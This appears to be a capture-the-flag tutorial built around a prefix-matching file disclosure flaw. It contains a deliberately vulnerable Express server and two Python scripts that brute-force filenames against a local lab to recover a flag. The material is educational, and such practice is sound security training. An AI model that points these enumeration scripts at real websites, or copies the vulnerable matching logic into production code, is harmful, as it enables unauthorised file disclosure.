Coding is not optional for hackers
A real-world challenge to prove coding is not optional for a hacker.
About this challenge:
There is a directory listing vulnerability underneath and it was found during one of my previous real-world engagements.
The pattern matching rule only requires the first character(s) to match the file name, meaning visiting "https://url/a" will show you the content of "https://url/apple.txt" if it is the only file started with "a".
The slightly tricky part about this challenge is when you have multiple files that have same prefix. How do you know there's an apple.txt after you gained access to app.txt?
Hint: the filenames only contain a-z (lower case) and one dot (.
)
How the solution looks like:
Used smaller values for the demo
async function generateFiles(numFiles = 10, maxLength = 5) {
How to setup:
- create an empty directory and put server.js in it (source code below).
- Run the script using the commands below.
(What it does: it first creates a public
folder and 100 files with random filenames, one of which contains the flag. Then it will start listening at port 3000. You can restart it multiple times to test your code better.)
Prerequisites: Node.js and Express.js installed
npm init -y
npm install express
node server.js
Content of server.js
const express = require("express");
const path = require("path");
const fs = require("fs");
const app = express();
const port = 3000;
const dirName = "public";
function generateRandomFilename(length = 5) {
const chars = "abcdefghijklmnopqrstuvwxyz";
let result = "";
for (let i = 0; i < length; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
async function generateFiles(numFiles = 100, maxLength = 10) {
// Clean up existing files
try {
await fs.promises.rm(dirName, { recursive: true, force: true });
console.log("Existing files removed");
} catch (error) {
if (error.code !== "ENOENT") {
console.error("Error removing existing files:", error);
}
}
// Create a directory to store the files
try {
await fs.promises.access(dirName);
} catch (err) {
if (err.code !== "ENOENT") throw err;
await fs.promises.mkdir(dirName, { recursive: true });
}
// Generate files
const files = [];
for (let i = 0; i < numFiles; i++) {
let filenameLength = Math.floor(Math.random() * (maxLength - 3 + 1)) + 3;
let filename = generateRandomFilename(filenameLength);
// Add overlapping prefix with 20% chance
if (Math.random() < 0.2) {
const overlapLength =
Math.floor(Math.random() * Math.min(3, filenameLength)) + 1;
const overlapPrefix = filename.slice(0, overlapLength);
const newLength =
Math.floor(Math.random() * (maxLength - overlapLength)) +
overlapLength +
1;
filename =
overlapPrefix + generateRandomFilename(newLength - overlapLength);
}
// Use unusual 3-letter extension with 30% chance
let fullFilename;
if (Math.random() < 0.3) {
const ext = generateRandomFilename(3);
fullFilename = `${filename}.${ext}`;
} else {
fullFilename = `${filename}.txt`;
}
// Create the file
const filePath = path.join(dirName, fullFilename);
files.push(filePath);
// Write content to files
const flagFileIndex = Math.floor(Math.random() * files.length);
await Promise.all(
files.map(async (filePath, index) => {
if (index === flagFileIndex) {
await fs.promises.writeFile(filePath, `flag{thanks_for_playing}`);
} else {
await fs.promises.writeFile(filePath, generateRandomFilename(24));
}
})
);
console.log(
`Random files generated successfully! Flag hidden in one of ${files.length} files.`
);
}
}
async function findMatchingFile(pattern) {
try {
const files = await fs.promises.readdir(dirName);
for (const file of files) {
if (new RegExp("^" + escapeRegExp(pattern), "i").test(file)) {
return file;
}
}
return null;
} catch (error) {
console.error("Error reading directory:", error);
return null;
}
}
// Helper function to escape special characters in regex
function escapeRegExp(string) {
return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); // $& means the whole matched string
}
app.get("/:pattern", async (req, res) => {
const pattern = req.params.pattern;
const matchingFile = await findMatchingFile(pattern);
if (!matchingFile) {
return res.status(404).send("No matching files found");
}
const filePath = path.join(dirName, matchingFile);
try {
const data = await fs.readFileSync(filePath);
// Set content type based on file extension
const ext = path.extname(matchingFile).toLowerCase();
const contentType =
{
".txt": "text/plain",
}[ext] || "application/octet-stream";
res.setHeader("Content-Type", contentType);
res.send(data);
} catch (error) {
console.error("Error reading file:", error);
res.status(500).send("Error serving file");
}
});
// Serve index page
app.get("/", (req, res) => {
res.send("Homepage");
});
// Start the server after setting up the public directory
async function startServer() {
try {
await generateFiles();
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
} catch (error) {
console.error("Error starting server:", error);
}
}
startServer();
My Version
import requests
import string
import sys
results = []
count = 0
def brute_force_endpoint(url):
charset = string.ascii_lowercase + '.'
# reached the end of a valid file name e.g., "http://localhost/abc.txt."
if '.' in url.split('/')[-1][:-2] and url[-1] == '.':
return
response = requests.get(url, headers={'Connection': 'close'})
global count
count+=1
result = {'filename': url.split('/')[-1], 'content': response.text}
if response.text != 'Homepage' and response.text != 'No matching files found':
if results == []:
results.append(result)
else:
# Check if the last file in "results" list is the same file by comparing the filename and content
if (results[-1]['content'] == result['content']) and (results[-1]['filename'] == result['filename'][:-1]):
# if it's the same file, use the longer filename
results[-1] = result
else:
# if not, add the new file into the results list
print(results[-1])
results.append(result)
for char in charset:
# if the URL is valid, dive deeper
if 'No matching files found' not in response.text:
brute_force_endpoint(url + char)
return
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python brute.py <url>")
sys.exit(1)
url = sys.argv[1]
print("\nResults:")
brute_force_endpoint(url)
print("Total number of files :", len(results))
file = next((result for result in results if 'flag' in result['content']), None)
if file:
print("\n\nFile containing flag: " + file['filename'] + "\nFlag: " + file['content'])
print("Total request sent:", count)
Kind of rushed it and it has a bug that sometimes create duplicates.
Maybe will come back to debugging it in the future.
A Better Version
From Maaz Shaik: https://pastebin.com/Tw6JV1n6
# Please don't judge my scripting too harshly, I am very sleep deprived.
import requests
import string
BASE_URL = "http://localhost:3000" # Server URL
ALPHABET = string.ascii_lowercase # All alphabets
flags = {} # Dictionary to store the most recent filename for each flag
found_patterns = set() # Set to track checked patterns
request_count = 0 # Counter to track the number of requests made
def check_pattern(pattern):
global found_patterns, request_count
response = requests.get(f"{BASE_URL}/{pattern}")
request_count += 1
# Print request count at intervals of 100
if request_count % 100 == 0:
print(f"Requests made: {request_count}",end='\r')
if response.status_code == 200:
content = response.text.strip()
if pattern not in found_patterns:
found_patterns.add(pattern)
flags[content] = pattern # Update the dictionary with the most recent pattern for each flag content by overwriting it
return True
return False
def brute_force():
# Step 1: Start with single characters [I did it like this because my brain wasn't working on 2 hours of sleep]
to_check = list(ALPHABET)
# Step 2: Iteratively build patterns via extension
while to_check:
current_pattern = to_check.pop(0) # Pop off patterns that are being checked
if check_pattern(current_pattern):
# Generate new patterns by extending current pattern with each alphabet letter
for char in ALPHABET:
new_pattern = current_pattern + char
if new_pattern not in found_patterns:
to_check.append(new_pattern)
# Also try appending a dot if not already present
if '.' not in current_pattern:
dot_pattern = current_pattern + '.'
if dot_pattern not in found_patterns:
to_check.append(dot_pattern)
# Print final summary with all unique flags and their most recent associated filename
print("\nSummary of found flags:")
print(f"Total requests made: {request_count}")
for content, filename in flags.items():
print(f"Flag: {content} | Most recent filename: {filename}")
if __name__ == "__main__":
brute_force()